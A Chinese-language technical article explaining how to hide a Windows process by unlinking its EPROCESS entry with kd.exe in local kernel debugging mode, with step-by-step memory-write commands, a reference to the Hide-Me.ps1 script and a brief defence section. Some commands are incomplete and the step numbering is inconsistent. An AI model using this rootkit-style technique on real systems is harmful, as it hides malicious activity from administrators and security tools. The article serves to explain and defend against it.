乾貨 | PowerShell技巧——藉助kd.exe隱藏進程

01 前言

Pierre-Alexandre Braeken在SecTor2016上做了一個很棒的演講——HACK MICROSOFT BY USING MICROSOFT SIGNED BINARIES。

他對自己開源的工具PowerMemory做了介紹,將powershell同使用微軟簽名的程序相結合,可以繞過Device Guard和殺毒軟體的攔截。

02 簡介

PowerMemory內包含的腳本很多,其中一個比較有趣的腳本是Hide-Me.ps1,通過藉助kb.exe來實現對進程的隱藏

本文將對該腳本進行測試,介紹進程隱藏的原理,修改原腳本,分析利用和防禦方法。

03 相關概念

PCB(process control block):n

進程式控制制塊,是系統為了管理進程專門設置的一個數據結構

PCB的組織方式:

線性表方式:不論進程的狀態如何,將所有的PCB連續地存放在內存的系統區。這種方式適用於系統中進程數目不多的情況n索引表方式:該方式是線性表方式的改進,系統按照進程的狀態分別建立就緒索引表、阻塞索引表等n鏈接表方式:系統按照進程的狀態將進程的PCB組成隊列,從而形成就緒隊列、阻塞隊列、運行隊列等n

不同操作系統的PCB結構不同

Windows下的PCB是EPROCESS結構

進程鏈表是一個雙向環鏈表

EPROCESS結構:

每個進程都有一個EPROCESS結構,裡面保存著進程的各種信息和相關結構的指針

註:Windows各版本的EPROCESS結構存在差異

EPROCESS結構位於系統地址空間,所以訪問這個結構需要有ring0的許可權

註:Windows開啟Local kernel debugging模式後,可進入ring0,使用內核態調試器

基本的內核態調試器有以下兩種:

1. kd.exe(KD)

命令行模式

常用於調試內核態的應用程序和驅動程序,調試用戶態的應用程序,或者監視操作系統自身的行為等

2. windbg.exe(WinDbg)

界面模式

可以為Windows內核、內核態驅動程序以及用戶態應用程序提供完整的源代碼級調試

通過kd.exe可以查看EPROCESS結構,命令行參數如下:

kd -kl -y "srv*c:symbols*Symbol information" -c "dt nt!_eprocess"n

回顯如下:

lkd> kd: Reading initial command dt nt!_eprocess;Qn +0x000 Pcb : _KPROCESSn +0x2d8 ProcessLock : _EX_PUSH_LOCKn +0x2e0 RundownProtect : _EX_RUNDOWN_REFn +0x2e8 UniqueProcessId : Ptr64 Voidn +0x2f0 ActiveProcessLinks : _LIST_ENTRYn +0x300 Flags2 : Uint4Bn +0x300 JobNotReallyActive : Pos 0, 1 Bitn +0x300 AccountingFolded : Pos 1, 1 Bitn +0x300 NewProcessReported : Pos 2, 1 Bitn +0x300 ExitProcessReported : Pos 3, 1 Bitn +0x300 ReportCommitChanges : Pos 4, 1 Bitn +0x300 LastReportMemory : Pos 5, 1 Bitn +0x300 ForceWakeCharge : Pos 6, 1 Bitn +0x300 CrossSessionCreate : Pos 7, 1 Bitn +0x300 NeedsHandleRundown : Pos 8, 1 Bitn +0x300 RefTraceEnabled : Pos 9, 1 Bitn +0x300 DisableDynamicCode : Pos 10, 1 Bitn +0x300 EmptyJobEvaluated : Pos 11, 1 Bitn +0x300 DefaultPagePriority : Pos 12, 3 Bitsn +0x300 PrimaryTokenFrozen : Pos 15, 1 Bitn +0x300 ProcessVerifierTarget : Pos 16, 1 Bitn +0x300 StackRandomizationDisabled : Pos 17, 1 Bitn +0x300 AffinityPermanent : Pos 18, 1 Bitn +0x300 AffinityUpdateEnable : Pos 19, 1 Bitn +0x300 PropagateNode : Pos 20, 1 Bitn +0x300 ExplicitAffinity : Pos 21, 1 Bitn +0x300 ProcessExecutionState : Pos 22, 2 Bitsn +0x300 DisallowStrippedImages : Pos 24, 1 Bitn +0x300 HighEntropyASLREnabled : Pos 25, 1 Bitn +0x300 ExtensionPointDisable : Pos 26, 1 Bitn +0x300 ForceRelocateImages : Pos 27, 1 Bitn +0x300 ProcessStateChangeRequest : Pos 28, 2 Bitsn +0x300 ProcessStateChangeInProgress : Pos 30, 1 Bitn +0x300 DisallowWin32kSystemCalls : Pos 31, 1 Bitn +0x304 Flags : Uint4Bn +0x304 CreateReported : Pos 0, 1 Bitn +0x304 NoDebugInherit : Pos 1, 1 Bitn +0x304 ProcessExiting : Pos 2, 1 Bitn +0x304 ProcessDelete : Pos 3, 1 Bitn +0x304 ControlFlowGuardEnabled : Pos 4, 1 Bitn +0x304 VmDeleted : Pos 5, 1 Bitn +0x304 OutswapEnabled : Pos 6, 1 Bitn +0x304 Outswapped : Pos 7, 1 Bitn +0x304 FailFastOnCommitFail : Pos 8, 1 Bitn +0x304 Wow64VaSpace4Gb : Pos 9, 1 Bitn +0x304 AddressSpaceInitialized : Pos 10, 2 Bitsn +0x304 SetTimerResolution : Pos 12, 1 Bitn +0x304 BreakOnTermination : Pos 13, 1 Bitn +0x304 DeprioritizeViews : Pos 14, 1 Bitn +0x304 WriteWatch : Pos 15, 1 Bitn +0x304 ProcessInSession : Pos 16, 1 Bitn +0x304 OverrideAddressSpace : Pos 17, 1 Bitn +0x304 HasAddressSpace : Pos 18, 1 Bitn +0x304 LaunchPrefetched : Pos 19, 1 Bitn +0x304 Background : Pos 20, 1 Bitn +0x304 VmTopDown : Pos 21, 1 Bitn +0x304 ImageNotifyDone : Pos 22, 1 Bitn +0x304 PdeUpdateNeeded : Pos 23, 1 Bitn +0x304 VdmAllowed : Pos 24, 1 Bitn +0x304 ProcessRundown : Pos 25, 1 Bitn +0x304 ProcessInserted : Pos 26, 1 Bitn +0x304 DefaultIoPriority : Pos 27, 3 Bitsn +0x304 ProcessSelfDelete : Pos 30, 1 Bitn +0x304 SetTimerResolutionLink : Pos 31, 1 Bitn +0x308 CreateTime : _LARGE_INTEGERn +0x310 ProcessQuotaUsage : [2] Uint8Bn +0x320 ProcessQuotaPeak : [2] Uint8Bn +0x330 PeakVirtualSize : Uint8Bn +0x338 VirtualSize : Uint8Bn +0x340 SessionProcessLinks : _LIST_ENTRYn +0x350 ExceptionPortData : Ptr64 Voidn +0x350 ExceptionPortValue : Uint8Bn +0x350 ExceptionPortState : Pos 0, 3 Bitsn +0x358 Token : _EX_FAST_REFn +0x360 WorkingSetPage : Uint8Bn +0x368 AddressCreationLock : _EX_PUSH_LOCKn +0x370 PageTableCommitmentLock : _EX_PUSH_LOCKn +0x378 RotateInProgress : Ptr64 _ETHREADn +0x380 ForkInProgress : Ptr64 _ETHREADn +0x388 CommitChargeJob : Ptr64 _EJOBn +0x390 CloneRoot : _RTL_AVL_TREEn +0x398 NumberOfPrivatePages : Uint8Bn +0x3a0 NumberOfLockedPages : Uint8Bn +0x3a8 Win32Process : Ptr64 Voidn +0x3b0 Job : Ptr64 _EJOBn +0x3b8 SectionObject : Ptr64 Voidn +0x3c0 SectionBaseAddress : Ptr64 Voidn +0x3c8 Cookie : Uint4Bn +0x3d0 WorkingSetWatch : Ptr64 _PAGEFAULT_HISTORYn +0x3d8 Win32WindowStation : Ptr64 Voidn +0x3e0 InheritedFromUniqueProcessId : Ptr64 Voidn +0x3e8 LdtInformation : Ptr64 Voidn +0x3f0 OwnerProcessId : Uint8Bn +0x3f8 Peb : Ptr64 _PEBn +0x400 Session : Ptr64 Voidn +0x408 AweInfo : Ptr64 Voidn +0x410 QuotaBlock : Ptr64 _EPROCESS_QUOTA_BLOCKn +0x418 ObjectTable : Ptr64 _HANDLE_TABLEn +0x420 DebugPort : Ptr64 Voidn +0x428 WoW64Process : Ptr64 _EWOW64PROCESSn +0x430 DeviceMap : Ptr64 Voidn +0x438 EtwDataSource : Ptr64 Voidn +0x440 PageDirectoryPte : Uint8Bn +0x448 ImageFilePointer : Ptr64 _FILE_OBJECTn +0x450 ImageFileName : [15] UCharn +0x45f PriorityClass : UCharn +0x460 SecurityPort : Ptr64 Voidn +0x468 SeAuditProcessCreationInfo : _SE_AUDIT_PROCESS_CREATION_INFOn +0x470 JobLinks : _LIST_ENTRYn +0x480 HighestUserAddress : Ptr64 Voidn +0x488 ThreadListHead : _LIST_ENTRYn +0x498 ActiveThreads : Uint4Bn +0x49c ImagePathHash : Uint4Bn +0x4a0 DefaultHardErrorProcessing : Uint4Bn +0x4a4 LastThreadExitStatus : Int4Bn +0x4a8 PrefetchTrace : _EX_FAST_REFn +0x4b0 LockedPagesList : Ptr64 Voidn +0x4b8 ReadOperationCount : _LARGE_INTEGERn +0x4c0 WriteOperationCount : _LARGE_INTEGERn +0x4c8 OtherOperationCount : _LARGE_INTEGERn +0x4d0 ReadTransferCount : _LARGE_INTEGERn +0x4d8 WriteTransferCount : _LARGE_INTEGERn +0x4e0 OtherTransferCount : _LARGE_INTEGERn +0x4e8 CommitChargeLimit : Uint8Bn +0x4f0 CommitCharge : Uint8Bn +0x4f8 CommitChargePeak : Uint8Bn +0x500 Vm : _MMSUPPORTn +0x5f8 MmProcessLinks : _LIST_ENTRYn +0x608 ModifiedPageCount : Uint4Bn +0x60c ExitStatus : Int4Bn +0x610 VadRoot : _RTL_AVL_TREEn +0x618 VadHint : Ptr64 Voidn +0x620 VadCount : Uint8Bn +0x628 VadPhysicalPages : Uint8Bn +0x630 VadPhysicalPagesLimit : Uint8Bn +0x638 AlpcContext : _ALPC_PROCESS_CONTEXTn +0x658 TimerResolutionLink : _LIST_ENTRYn +0x668 TimerResolutionStackRecord : Ptr64 _PO_DIAG_STACK_RECORDn +0x670 RequestedTimerResolution : Uint4Bn +0x674 SmallestTimerResolution : Uint4Bn +0x678 ExitTime : _LARGE_INTEGERn +0x680 InvertedFunctionTable : Ptr64 _INVERTED_FUNCTION_TABLEn +0x688 InvertedFunctionTableLock : _EX_PUSH_LOCKn +0x690 ActiveThreadsHighWatermark : Uint4Bn +0x694 LargePrivateVadCount : Uint4Bn +0x698 ThreadListLock : _EX_PUSH_LOCKn +0x6a0 WnfContext : Ptr64 Voidn +0x6a8 Spare0 : Uint8Bn +0x6b0 SignatureLevel : UCharn +0x6b1 SectionSignatureLevel : UCharn +0x6b2 Protection : _PS_PROTECTIONn +0x6b3 HangCount : UCharn +0x6b4 Flags3 : Uint4Bn +0x6b4 Minimal : Pos 0, 1 Bitn +0x6b4 ReplacingPageRoot : Pos 1, 1 Bitn +0x6b4 DisableNonSystemFonts : Pos 2, 1 Bitn +0x6b4 AuditNonSystemFontLoading : Pos 3, 1 Bitn +0x6b4 Crashed : Pos 4, 1 Bitn +0x6b4 JobVadsAreTracked : Pos 5, 1 Bitn +0x6b4 VadTrackingDisabled : Pos 6, 1 Bitn +0x6b4 AuxiliaryProcess : Pos 7, 1 Bitn +0x6b4 SubsystemProcess : Pos 8, 1 Bitn +0x6b4 IndirectCpuSets : Pos 9, 1 Bitn +0x6b4 InPrivate : Pos 10, 1 Bitn +0x6b4 ProhibitRemoteImageMap : Pos 11, 1 Bitn +0x6b4 ProhibitLowILImageMap : Pos 12, 1 Bitn +0x6b4 SignatureMitigationOptIn : Pos 13, 1 Bitn +0x6b8 DeviceAsid : Int4Bn +0x6c0 SvmData : Ptr64 Voidn +0x6c8 SvmProcessLock : _EX_PUSH_LOCKn +0x6d0 SvmLock : Uint8Bn +0x6d8 SvmProcessDeviceListHead : _LIST_ENTRYn +0x6e8 LastFreezeInterruptTime : Uint8Bn +0x6f0 DiskCounters : Ptr64 _PROCESS_DISK_COUNTERSn +0x6f8 PicoContext : Ptr64 Voidn +0x700 TrustletIdentity : Uint8Bn +0x708 KeepAliveCounter : Uint4Bn +0x70c NoWakeKeepAliveCounter : Uint4Bn +0x710 HighPriorityFaultsAllowed : Uint4Bn +0x718 EnergyValues : Ptr64 _PROCESS_ENERGY_VALUESn +0x720 VmContext : Ptr64 Voidn +0x728 SequenceNumber : Uint8Bn +0x730 CreateInterruptTime : Uint8Bn +0x738 CreateUnbiasedInterruptTime : Uint8Bn +0x740 TotalUnbiasedFrozenTime : Uint8Bn +0x748 LastAppStateUpdateTime : Uint8Bn +0x750 LastAppStateUptime : Pos 0, 61 Bitsn +0x750 LastAppState : Pos 61, 3 Bitsn +0x758 SharedCommitCharge : Uint8Bn +0x760 SharedCommitLock : _EX_PUSH_LOCKn +0x768 SharedCommitLinks : _LIST_ENTRYn +0x778 AllowedCpuSets : Uint8Bn +0x780 DefaultCpuSets : Uint8Bn +0x778 AllowedCpuSetsIndirect : Ptr64 Uint8Bn +0x780 DefaultCpuSetsIndirect : Ptr64 Uint8Bn

其中,+0x2f0 ActiveProcessLinks : _LIST_ENTRY表示進程活動鏈表

進程活動鏈表:

是一個PLIST_ENTRY結構的雙向鏈表,把每個EPROCESS鏈接起來

當一個新進程建立的時候,父進程負責完成EPROCESS塊,然後把ActiveProcessLinks鏈接到一個全局內核變數PsActiveProcessHead鏈表中

當進程結束的時候,該進程的EPROCESS結構從活動進程鏈上摘除

遍歷整個鏈表,就能實現對進程的枚舉

雙鏈表的刪除操作:

如圖

void DDeleteNode(DListNode *p) n{//在帶頭結點的雙鏈表中,刪除結點*p,設*p為非終端結點 np->prior->next=p->next;//① (使p的前一個結點的後驅直接指向 原來的p的後驅) np->next->prior=p->prior;//② (使p的後一個結點的前驅 直接為原來p的前一個結點) nfree(p);//③ (釋放p的內存) n}n

隱藏進程:

相當於對雙向鏈表ActiveProcessLinks斷鏈

對應雙鏈表的刪除需要做如下操作:

1. p->prior->next=p->next nFlink->Blink=Blinkn2. p->next->prior=p->prior nBlink->Flink = Flinkn3. free(p) nBlink =dwSelfEPROCESSnFlink = dwSelfEPROCESSn

接下來實例介紹如何通過kd.exe隱藏進程,也就是雙鏈表的斷鏈

04 通過kd.exe隱藏進程

環境搭建:

開啟Local kernel debugging模式

註:自從Windows Vista開始,Local kernel debugging默認被禁用

開啟方法:

管理員許可權執行:bcdedit -debug on,重啟

下載安裝Debugging Tools for Windows,找到kd.exe

測試進程:notepad.exe

測試系統: Win10 x64

1、獲取notepad.exe的內存起始地址

kd命令:

!process 0 0 $processNamen

完整命令:

kd -kl -y "srv*c:symbols*Symbol information" -c "!process 0 0 notepad.exe;Q"n

如圖

notepad.exe的內存起始地址$processAddress為ffffe00195236080

2、獲取進程notepad.exe的Flink和Blink

kd命令:

dt nt!_eprocess ActiveProcessLinks ImageFileName $processAddressn

完整命令:

kd -kl -y "srv*c:symbols*Symbol information" -c "dt nt!_eprocess ActiveProcessLinks ImageFileName ffffe00195236080;Q"n

如圖

註:

FLINK指針指向下一個元素,相當於雙鏈表中的p->nextnBLINK指針指向前一個元素,相當於雙鏈表中的p->priorn_LIST_ENTRY結構如下:n_LIST_ENTRY[Flink-Blink]n前一參數代表Flink,後一參數代表Blinkn

由上圖可知:

$Flink:0xffffe001`93e1a370n$Blink:0xffffe001`9604f6f0n

3、獲取進程notepad.exe在雙鏈表的地址$thisProcessLinks

kd命令:

dt nt!_eprocess ActiveProcessLinks.Blink ImageFileName $processAddressn

完整命令:

kd -kl -y "srv*c:symbols*Symbol information" -c "dt nt!_eprocess ActiveProcessLinks.Blink ImageFileName ffffe00195236080;Q"n

如圖

可知:

$thisProcessLinks:0xffffe001`95236370n

注:dt nt!_eprocess ActiveProcessLinks.Blink ImageFileName相當於進程notepad.exe的前一個進程

+0x008 Blink : 0xffffe001`9604f6f0 _LIST_ENTRY [0xffffe001`95236370-Blink]n

中的0xffffe001`95236370相當於進程notepad.exe在雙鏈表的地址$thisProcessLinks

補充:

+0x000 Flink: 0xffffe001`93e1a370 _LIST_ENTRY[Flink-Blink]中的Blink也能代表雙鏈表的地址$thisProcessLinks

簡單的理解:

當前進程的Blink的Flink等價於當前進程的Flink的Blink,也就是當前進程的地址$thisProcessLinks

4、將前一進程指向下一個元素的指針FLINK替換為當前進程的FLINK指針(Flink->Blink=Blink)

即雙鏈表刪除操作的第1步:

p->prior->next=p->nextn

kd命令:

f $Blink+0x000 L4 ($Flink的第0位元組) ($Flink的第1位元組) ($Flink的第2位元組) ($Flink的第3位元組)n

註:

+0x000代表Flinkn+0x008代表Blinkn$Blink+0x000代表p->prior->next(0x000為0,可省略)nL4參數指定內存區間的長度為4個DWORDn

完整命令:

kd -kl -y "srv*c:symbols*Symbol information" -c "f 0xffffe001`9604f6f0 L4 0x70 0xa3 0xe1 0x93;Q"n

如圖

操作成功,實現雙鏈表刪除中的p->prior->next=p->next

5、將下一進程指向前一個元素的指針Blink替換為當前進程的BLINK指針

即雙鏈表刪除操作的第2步:

p->next->prior=p->priorn

kd命令:

f $Flink+0x008 L4 ($Blink的第0位元組) ($Blink的第1位元組) ($Blink的第2位元組) ($Blink的第3位元組)n

註:

+0x008代表Blinkn$Flink++0x008代表p->next->priorn

完整命令:

kd -kl -y "srv*c:symbols*Symbol information" -c "f 0xffffe001`93e1a370 L4 0xf0 0xf6 0x04 0x96;Q"n

如圖

操作成功,實現雙鏈表刪除中的p->next->prior=p->prior

6、進程自身的新Flink指向進程自身的雙鏈表地址$thisProcessLinks

kd命令:

f $thisProcessLinks+0x000 L4 ($thisProcessLinks的第0位元組) ($thisProcessLinks的第1位元組) ($thisProcessLinks的第2位元組) (thisProcessLinks的第3位元組)n

註:

+0x000代表Flinkn

完整命令:

kd -kl -y "srv*c:symbols*Symbol information" -c "0xffffe001`95236370 L4 0x70 0x63 0x23 0x95;Q"n

如圖

7、進程自身的新Blink指向進程自身的雙鏈表地址$thisProcessLinks

kd命令:

f $thisProcessLinks+0x008 L4 ($thisProcessLinks的第0位元組) ($thisProcessLinks的第1位元組) ($thisProcessLinks的第2位元組) (thisProcessLinks的第3位元組)n

註:

+0x008代表Blinkn

完整命令:

kd -kl -y "srv*c:symbols*Symbol information" -c "0xffffe001`95236370+0x008 L4 0x70 0x63 0x23 0x95;Q"n

如圖

註:7、8操作必須,對應雙鏈表刪除操作中的free(p),否則會藍屏

8、測試

在tasklist和Process Explorer中,notepad.exe進程均被隱藏

05 powershell自動實現

以上操作可通過powershell腳本自動實現,這就是Hide-Me.ps1實現的功能

Hide-Me.ps1有一處需要注意的地方: giMini/PowerMemory

f $BLINK L4 0x$($FLINK.Substring(17,2)) 0x$($FLINK.Substring(15,2)) 0x$($FLINK.Substring(13,2)) 0x$($FLINK.Substring(11,2))"n

此處$BLINK實際為$BLINK+0x000,表示p->prior->next(0x000為0,已省略)

適用環境:

Win7、8、10 64位操作系統

利用前提:

開啟Local kernel debugging模式n管理員許可權執行:bcdedit -debug onn重啟後測試n

由於PowerMemory做了腳本整合,所以Hide-Me.ps1還需要其他支持文件

我對其進行了少量修改,只提取隱藏進程的關鍵代碼,最終整合到一個ps腳本中,地址如下:github.com/3gstudent/Hi

06 防禦思路

該方法利用前提:

已獲得系統管理員許可權並開啟Local kernel debugging模式,系統重啟

也就是說攻擊者已進入ring 0層才能利用這個方法

對於普通用戶,可以永久關閉Local kernel debugging模式:

bcdedit -debug offn

07 補充

該腳本尚不支持32位系統

Windbg也能實現相同操作

本文為3gstudent原創稿件,授權嘶吼獨家發布,未經許可禁止轉載;如若轉載,請聯繫嘶吼編輯授權

推薦閱讀:

PowerShell指令為什麼都要採用 Verb-XXXX 的格式?
作為日常使用的腳本,PowerShell Core 與 Python 各有哪些優劣?
PowerShell 與 cmd 有什麼不同?

TAG:PowerShell | 技术分析 |